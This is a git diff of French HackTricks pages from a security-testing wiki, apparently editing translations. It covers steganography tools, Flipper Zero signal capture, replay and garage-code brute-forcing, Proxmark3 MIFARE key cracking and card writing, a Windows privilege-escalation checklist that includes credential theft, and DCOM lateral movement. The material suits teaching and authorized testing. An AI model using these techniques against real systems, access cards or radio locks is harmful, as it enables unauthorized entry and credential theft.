C'est également très intéressant car si vous appuyez sur un bouton dans l'application graphique, le débogueur s'arrêtera dans la fonction exécutée par ce bouton.
@ -390,7 +390,7 @@ Dans le code précédent, vous pouvez voir que nous comparons **uVar1** (l'endro
* Dans tous les autres cas, un cont (`DAT_030000d4`) est vérifié. C'est un cont car il ajoute 1 juste après être entré dans le code.\
Si c'est inférieur à 8, quelque chose qui implique **l'ajout** de valeurs à **`DAT_030000d8`** est fait (essentiellement, il ajoute les valeurs des touches pressées dans cette variable tant que le cont est inférieur à 8).
Ainsi, dans ce défi, en connaissant les valeurs des boutons, vous deviez **appuyer sur une combinaison d'une longueur inférieure à 8 pour que l'addition résultante soit 0xf3.**
Ainsi, dans ce défi, en connaissant les valeurs des boutons, vous deviez **appuyer sur une combinaison d'une longueur inférieure à 8 pour que l'addition résultante soit 0xf3**.
**Référence pour ce tutoriel :** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
@ -405,7 +405,7 @@ Ainsi, dans ce défi, en connaissant les valeurs des boutons, vous deviez **appu
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -418,7 +418,7 @@ Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez** 💬 [**le groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks :
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,7 +26,7 @@ Autres façons de soutenir HackTricks :
### **Binwalk**
Un outil pour rechercher des fichiers binaires pour des fichiers et des données cachés intégrés. Il est installé via `apt` et son code source est disponible sur [GitHub](https://github.com/ReFirmLabs/binwalk).
Un outil pour rechercher des fichiers binaires à la recherche de fichiers et de données cachés. Il est installé via `apt` et son code source est disponible sur [GitHub](https://github.com/ReFirmLabs/binwalk).
```bash
binwalk file # Displays the embedded data
binwalk -e file # Extracts the data
@ -40,7 +40,7 @@ foremost -i file # Extracts data
```
### **Exiftool**
Aide à afficher les métadonnées des fichiers, disponible [ici](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
Aide à visualiser les métadonnées des fichiers, disponible [ici](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
```bash
exiftool file # Shows the metadata
```
@ -52,7 +52,7 @@ exiv2 file # Shows the metadata
```
### **Fichier**
Identifiez le type de fichier avec lequel vous travaillez.
Identifier le type de fichier avec lequel vous travaillez.
### **Chaînes de caractères**
@ -96,16 +96,16 @@ Pour tenter de réparer une image endommagée, ajouter un commentaire de métado
Steghide facilite la dissimulation de données dans les fichiers `JPEG, BMP, WAV et AU`, capable d'incorporer et d'extraire des données chiffrées. L'installation est simple en utilisant `apt`, et son [code source est disponible sur GitHub](https://github.com/StefanoDeVuono/steghide).
**Commandes:**
**Commandes :**
* `steghide info fichier` révèle si un fichier contient des données cachées.
* `steghide extract -sf fichier [--mot de passe password]` extrait les données cachées, mot de passe en option.
Pour une extraction basée sur le web, visitez [ce site web](https://futureboy.us/stegano/decinput.html).
**Attaque par force brute avec Stegcracker:**
**Attaque par force brute avec Stegcracker :**
* Pour tenter de craquer un mot de passe sur Steghide, utilisez [stegcracker](https://github.com/Paradoxis/StegCracker.git) comme suit:
* Pour tenter le craquage de mot de passe sur Steghide, utilisez [stegcracker](https://github.com/Paradoxis/StegCracker.git) comme suit :
```bash
stegcracker <file> [<wordlist>]
```
@ -137,8 +137,6 @@ Les techniques de Transformée de Fourier Rapide (FFT) peuvent révéler du cont
Stegpy permet d'incorporer des informations dans des fichiers image et audio, prenant en charge des formats tels que PNG, BMP, GIF, WebP et WAV. Il est disponible sur [GitHub](https://github.com/dhsdshdhk/stegpy).
### **Pngcheck pour l'analyse des fichiers PNG**
Pour analyser les fichiers PNG ou valider leur authenticité, utilisez:
```bash
apt-get install pngcheck
pngcheck stego.png
@ -167,7 +165,7 @@ Cet outil est compatible avec une variété de formats, y compris PNG, BMP, GIF,
### **ffmpeg**
ffmpeg est essentiel pour évaluer l'intégrité des fichiers audio, mettant en évidence des informations détaillées et identifiant toute anomalie.
ffmpeg est essentiel pour évaluer l'intégrité des fichiers audio, mettant en lumière des informations détaillées et identifiant toute anomalie.
```bash
ffmpeg -v info -i stego.mp3 -f null -
```
@ -187,7 +185,7 @@ Deepsound permet le chiffrement et la détection d'informations dans des fichier
Un outil inestimable pour l'inspection visuelle et analytique des fichiers audio, Sonic Visualizer peut révéler des éléments cachés indétectables par d'autres moyens. Visitez le [site officiel](https://www.sonicvisualiser.org/) pour en savoir plus.
### **Tonalités DTMF - Tonalités de numérotation**
### **Tonalités DTMF - Tonalités de composition**
La détection des tonalités DTMF dans les fichiers audio peut être réalisée à l'aide d'outils en ligne tels que [ce détecteur DTMF](https://unframework.github.io/dtmf-detect/) et [DialABC](http://dialabc.com/sound/detect/index.html).
@ -195,7 +193,7 @@ La détection des tonalités DTMF dans les fichiers audio peut être réalisée
### **Longueur Binaire SQRT - Code QR**
Les données binaires qui donnent un nombre entier en racine carrée peuvent représenter un code QR. Utilisez ce snippet pour vérifier:
Des données binaires qui donnent un nombre entier en racine carrée peuvent représenter un code QR. Utilisez cet extrait de code pour vérifier :
```python
import math
math.sqrt(2500) #50
@ -204,9 +202,9 @@ math.sqrt(2500) #50
Pour la conversion binaire en image, consultez [dcode](https://www.dcode.fr/binary-image). Pour lire les codes QR, utilisez [ce lecteur de codes-barres en ligne](https://online-barcode-reader.inliteresearch.com/).
### **Traduction en braille**
### **Traduction en Braille**
Pour traduire le braille, le [traducteur Braille de Branah](https://www.branah.com/braille-translator) est une excellente ressource.
Pour traduire le Braille, le [traducteur Braille Branah](https://www.branah.com/braille-translator) est une excellente ressource.
## **Références**
@ -215,7 +213,7 @@ Pour traduire le braille, le [traducteur Braille de Branah](https://www.branah.c
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -227,8 +225,8 @@ Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez** 💬 le **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -14,7 +14,7 @@
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -35,7 +35,7 @@ Avec [**Flipper Zero**](https://flipperzero.one/), vous pouvez :
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -6,17 +6,17 @@
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -30,7 +30,7 @@ Flipper Zero peut **recevoir et transmettre des fréquences radio dans la plage
## Matériel Sub-GHz <a href="#kfpn7" id="kfpn7"></a>
Flipper Zero possède un module sub-1 GHz intégré basé sur une puce [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101](https://www.ti.com/lit/ds/symlink/cc1101.pdf) et une antenne radio (la portée maximale est de 50 mètres). La puce CC1101 et l'antenne sont conçues pour fonctionner à des fréquences dans les bandes de 300-348 MHz, 387-464 MHz et 779-928 MHz.
Flipper Zero possède un module sub-1 GHz intégré basé sur une puce [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101](https://www.ti.com/lit/ds/symlink/cc1101.pdf) et une antenne radio (la portée maximale est de 50 mètres). La puce CC1101 et l'antenne sont conçues pour fonctionner à des fréquences dans les bandes de 300 à 348 MHz, 387 à 464 MHz et 779 à 928 MHz.
<figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure>
@ -42,7 +42,7 @@ Flipper Zero possède un module sub-1 GHz intégré basé sur une puce [](htt
Comment trouver quelle fréquence utilise la télécommande
{% endhint %}
Lors de l'analyse, Flipper Zero scanne la force des signaux (RSSI) à toutes les fréquences disponibles dans la configuration de fréquence. Flipper Zero affiche la fréquence avec la valeur RSSI la plus élevée, avec une force de signal supérieure à -90 [dBm](https://en.wikipedia.org/wiki/DBm).
Lors de l'analyse, Flipper Zero scanne la force des signaux (RSSI) à toutes les fréquences disponibles dans la configuration des fréquences. Flipper Zero affiche la fréquence avec la valeur RSSI la plus élevée, avec une force de signal supérieure à -90 [dBm](https://en.wikipedia.org/wiki/DBm).
Pour déterminer la fréquence de la télécommande, faites ce qui suit :
@ -59,15 +59,15 @@ Trouver des informations sur la fréquence utilisée (également un autre moyen
L'option **Lire** **écoute sur la fréquence configurée** sur la modulation indiquée : 433,92 AM par défaut. Si **quelque chose est trouvé** lors de la lecture, **des informations sont fournies** à l'écran. Ces informations peuvent être utilisées pour reproduire le signal à l'avenir.
Pendant l'utilisation de la fonction Lire, il est possible d'appuyer sur le **bouton gauche** et de le **configurer**.\
À ce moment, il y a **4 modulations** (AM270, AM650, FM328 et FM476), et **plusieurs fréquences pertinentes** sont stockées :
Pendant l'utilisation de Lire, il est possible d'appuyer sur le **bouton gauche** et de le **configurer**.\
À ce moment, il dispose de **4 modulations** (AM270, AM650, FM328 et FM476), et **plusieurs fréquences pertinentes** sont stockées :
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
Vous pouvez définir **celle qui vous intéresse**, cependant, si vous **n'êtes pas sûr de la fréquence** qui pourrait être utilisée par la télécommande que vous avez, **activez le saut à ON** (désactivé par défaut), et appuyez sur le bouton plusieurs fois jusqu'à ce que Flipper la capture et vous donne les informations nécessaires pour définir la fréquence.
{% hint style="danger" %}
Le passage d'une fréquence à une autre prend du temps, donc les signaux transmis au moment du passage peuvent être manqués. Pour une meilleure réception du signal, définissez une fréquence fixe déterminée par l'Analyseur de fréquence.
Le passage d'une fréquence à une autre prend du temps, donc les signaux transmis au moment du changement peuvent être manqués. Pour une meilleure réception du signal, définissez une fréquence fixe déterminée par l'Analyseur de fréquence.
{% endhint %}
### **Lire brut**
@ -78,11 +78,11 @@ Vol (et relecture) d'un signal dans la fréquence configurée
L'option **Lire brut** **enregistre les signaux** envoyés à la fréquence d'écoute. Cela peut être utilisé pour **voler** un signal et le **répéter**.
Par défaut, **Lire brut est également en 433,92 en AM650**, mais si avec l'option Lire vous avez trouvé que le signal qui vous intéresse est dans une **fréquence/modulation différente, vous pouvez également le modifier** en appuyant sur gauche (tout en étant dans l'option Lire brut).
Par défaut, **Lire brut est également en 433,92 en AM650**, mais si avec l'option Lire vous avez trouvé que le signal qui vous intéresse est dans une **fréquence/modulation différente, vous pouvez également la modifier** en appuyant sur gauche (tout en étant dans l'option Lire brut).
### Brute-Force
Si vous connaissez le protocole utilisé par exemple par la porte de garage, il est possible de **générer tous les codes et de les envoyer avec le Flipper Zero.** C'est un exemple qui prend en charge les types de garages courants : [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
Si vous connaissez le protocole utilisé par exemple par la porte de garage, il est possible de **générer tous les codes et de les envoyer avec le Flipper Zero**. Voici un exemple qui prend en charge les types de garages courants : [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
### Ajouter manuellement
@ -128,7 +128,7 @@ Obtenez les dBm des fréquences enregistrées
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -14,7 +14,7 @@
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@
La première chose à faire est d'avoir un [**Proxmark3**](https://proxmark.com) et [**d'installer le logiciel et ses dépendances**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
### Attaquer les systèmes MIFARE Classic 1KB
### Attaquer les MIFARE Classic 1KB
Il a **16 secteurs**, chacun ayant **4 blocs** et chaque bloc contient **16B**. L'UID se trouve dans le secteur 0 bloc 0 (et ne peut pas être modifié).\
Pour accéder à chaque secteur, vous avez besoin de **2 clés** (**A** et **B**) qui sont stockées dans **le bloc 3 de chaque secteur** (secteur de contrôle). Le secteur de contrôle stocke également les **bits d'accès** qui donnent les permissions de **lecture et écriture** sur **chaque bloc** en utilisant les 2 clés.\
@ -49,7 +49,7 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
```
Le Proxmark3 permet d'effectuer d'autres actions comme **écouter en douce** une **communication Tag à Lecteur** pour essayer de trouver des données sensibles. Sur cette carte, vous pourriez simplement renifler la communication et calculer la clé utilisée car les **opérations cryptographiques utilisées sont faibles** et en connaissant le texte en clair et le texte chiffré, vous pouvez le calculer (outil `mfkey64`).
Le Proxmark3 permet d'effectuer d'autres actions comme **écouter** une **communication Tag à Lecteur** pour essayer de trouver des données sensibles. Dans ce cas, vous pourriez simplement renifler la communication et calculer la clé utilisée car les **opérations cryptographiques utilisées sont faibles** et en connaissant le texte en clair et le texte chiffré, vous pouvez le calculer (outil `mfkey64`).
### Commandes Brutes
@ -63,11 +63,11 @@ No chinese magic backdoor command detected
Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search
```
Avec ces informations, vous pourriez essayer de rechercher des informations sur la carte et sur la manière de communiquer avec elle. Proxmark3 permet d'envoyer des commandes brutes comme : `hf 14a raw -p -b 7 26`
Avec ces informations, vous pourriez essayer de rechercher des informations sur la carte et sur la manière de communiquer avec elle. Proxmark3 permet d'envoyer des commandes brutes comme: `hf 14a raw -p -b 7 26`
### Scripts
Le logiciel Proxmark3 est livré avec une liste préchargée de **scripts d'automatisation** que vous pouvez utiliser pour effectuer des tâches simples. Pour récupérer la liste complète, utilisez la commande `script list`. Ensuite, utilisez la commande `script run`, suivie du nom du script :
Le logiciel Proxmark3 est livré avec une liste préchargée de **scripts d'automatisation** que vous pouvez utiliser pour effectuer des tâches simples. Pour récupérer la liste complète, utilisez la commande `script list`. Ensuite, utilisez la commande `script run`, suivi du nom du script:
```
proxmark3> script run mfkeys
```
@ -75,7 +75,7 @@ Vous pouvez créer un script pour **fuzzer les lecteurs de tags**, en copiant le
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -2,13 +2,13 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks :
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -47,24 +47,24 @@ Autres façons de soutenir HackTricks :
* [ ] [**Informations d'identification mises en cache**](windows-local-privilege-escalation/#cached-credentials) ?
* [ ] Vérifier s'il y a un [**AV**](windows-av-bypass)
* [**Stratégie AppLocker**](authentication-credentials-uac-and-efs#applocker-policy) ?
* [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control) ?
* [**Privilèges utilisateur**](windows-local-privilege-escalation/#users-and-groups) ?
* Vérifier les [**privilèges utilisateur actuels**](windows-local-privilege-escalation/#users-and-groups)
* [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)
* [**Privilèges utilisateur**](windows-local-privilege-escalation/#users-and-groups)
* Vérifier les [**privilèges utilisateur**](windows-local-privilege-escalation/#users-and-groups) **actuels**
* Êtes-vous [**membre d'un groupe privilégié**](windows-local-privilege-escalation/#privileged-groups) ?
* Vérifier si vous avez activé [l'un de ces jetons](windows-local-privilege-escalation/#token-manipulation) : **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
* [**Sessions des utilisateurs**](windows-local-privilege-escalation/#logged-users-sessions) ?
* [**Sessions utilisateur**](windows-local-privilege-escalation/#logged-users-sessions) ?
* Vérifier les [**dossiers personnels des utilisateurs**](windows-local-privilege-escalation/#home-folders) (accès ?)
* Vérifier la [**politique de mot de passe**](windows-local-privilege-escalation/#password-policy)
* Qu'y a-t-il [**dans le presse-papiers**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard) ?
### [Réseau](windows-local-privilege-escalation/#network)
* Vérifier les **informations réseau** **actuelles**](windows-local-privilege-escalation/#network)
* Vérifier les **informations réseau** [**actuelles**](windows-local-privilege-escalation/#network)
* Vérifier les **services locaux cachés** restreints à l'extérieur
### [Processus en cours d'exécution](windows-local-privilege-escalation/#running-processes)
* Autorisations des fichiers binaires des processus [**fichier et dossiers**](windows-local-privilege-escalation/#file-and-folder-permissions)
* Autorisations des fichiers et dossiers des binaires de processus [**](windows-local-privilege-escalation/#file-and-folder-permissions)
* [**Extraction de mots de passe en mémoire**](windows-local-privilege-escalation/#memory-password-mining)
* [**Applications GUI non sécurisées**](windows-local-privilege-escalation/#insecure-gui-apps)
* Voler des informations d'identification avec des **processus intéressants** via `ProcDump.exe` ? (firefox, chrome, etc ...)
@ -74,7 +74,7 @@ Autres façons de soutenir HackTricks :
* [Pouvez-vous **modifier un service** ?](windows-local-privilege-escalation#permissions)
* [Pouvez-vous **modifier** le **binaire** exécuté par un **service** ?](windows-local-privilege-escalation/#modify-service-binary-path)
* [Pouvez-vous **modifier** le **registre** d'un **service** ?](windows-local-privilege-escalation/#services-registry-modify-permissions)
* Pouvez-vous profiter de tout **chemin binaire de service non entre guillemets** ?](windows-local-privilege-escalation/#unquoted-service-paths)
* Pouvez-vous profiter de tout **chemin binaire de service non mis entre guillemets** ?](windows-local-privilege-escalation/#unquoted-service-paths)
### [**Applications**](windows-local-privilege-escalation/#applications)
@ -101,12 +101,12 @@ Autres façons de soutenir HackTricks :
* [ ] Informations intéressantes dans les [**connexions RDP enregistrées**](windows-local-privilege-escalation/#saved-rdp-connections)?
* [ ] Mots de passe dans les [**commandes récemment exécutées**](windows-local-privilege-escalation/#recently-run-commands)?
* [ ] Mots de passe du [**Gestionnaire d'informations d'identification Bureau à distance**](windows-local-privilege-escalation/#remote-desktop-credential-manager)?
* [ ] [**AppCmd.exe** existe-t-il](windows-local-privilege-escalation/#appcmd-exe)? Informations d'identification?
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? Chargement latéral de DLL?
* [ ] [**AppCmd.exe** existe](windows-local-privilege-escalation/#appcmd-exe)? Informations d'identification?
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? Chargement de DLL latéral?
### [Fichiers et Registre (Informations d'identification)](windows-local-privilege-escalation/#files-and-registry-credentials)
* [ ] **Putty:** [**Informations d'identification**](windows-local-privilege-escalation/#putty-creds) **et** [**Clés hôtes SSH**](windows-local-privilege-escalation/#putty-ssh-host-keys)
* [ ] **Putty:** [**Informations d'identification**](windows-local-privilege-escalation/#putty-creds) **et** [**clés hôtes SSH**](windows-local-privilege-escalation/#putty-ssh-host-keys)
* [ ] Clés SSH dans le registre [**SSH keys in registry**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
* [ ] Mots de passe dans les [**fichiers non assistés**](windows-local-privilege-escalation/#unattended-files)?
* [ ] Une sauvegarde de [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)?
@ -116,7 +116,7 @@ Autres façons de soutenir HackTricks :
* [ ] Mot de passe dans le fichier de configuration web [**IIS**](windows-local-privilege-escalation/#iis-web-config)?
* [ ] Informations intéressantes dans les [**logs web**](windows-local-privilege-escalation/#logs)?
* [ ] Voulez-vous [**demander des informations d'identification**](windows-local-privilege-escalation/#ask-for-credentials) à l'utilisateur?
* [ ] Fichiers intéressants dans la [**Corbeille**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
* [ ] Informations intéressantes dans les [**fichiers de la Corbeille**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
* [ ] Autre [**registre contenant des informations d'identification**](windows-local-privilege-escalation/#inside-the-registry)?
* [ ] Dans les [**données du navigateur**](windows-local-privilege-escalation/#browsers-history) (bases de données, historique, favoris, ...)?
* [ ] [**Recherche de mots de passe génériques**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) dans les fichiers et le registre

View file

@ -14,7 +14,7 @@
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -25,7 +25,7 @@
**Pour plus d'informations sur cette technique, consultez l'article original sur [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
Le modèle d'objet de composant distribué (DCOM) présente une capacité intéressante pour les interactions basées sur le réseau avec des objets. Microsoft fournit une documentation complète pour à la fois DCOM et le modèle d'objet de composant (COM), accessible [ici pour DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) et [ici pour COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Une liste des applications DCOM peut être récupérée en utilisant la commande PowerShell :
Le modèle d'objet de composant distribué (DCOM) offre une capacité intéressante pour les interactions basées sur le réseau avec des objets. Microsoft fournit une documentation complète pour à la fois DCOM et le modèle d'objet de composant (COM), accessible [ici pour DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) et [ici pour COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Une liste des applications DCOM peut être récupérée en utilisant la commande PowerShell :
```bash
Get-CimInstance Win32_DCOMApplication
```
@ -57,10 +57,10 @@ ls \\10.10.10.10\c$\Users
L'objet **MMC20.Application** a été identifié comme manquant de "LaunchPermissions" explicites, se contentant des autorisations permettant l'accès aux administrateurs. Pour plus de détails, un fil peut être exploré [ici](https://twitter.com/tiraniddo/status/817532039771525120), et l'utilisation de [@tiraniddo](https://twitter.com/tiraniddo)s OleView .NET pour filtrer les objets sans autorisation de lancement explicite est recommandée.
Deux objets spécifiques, `ShellBrowserWindow` et `ShellWindows`, ont été mis en évidence en raison de leur absence d'autorisations de lancement explicites. L'absence d'une entrée de registre `LaunchPermission` sous `HKCR:\AppID\{guid}` signifie l'absence d'autorisations explicites.
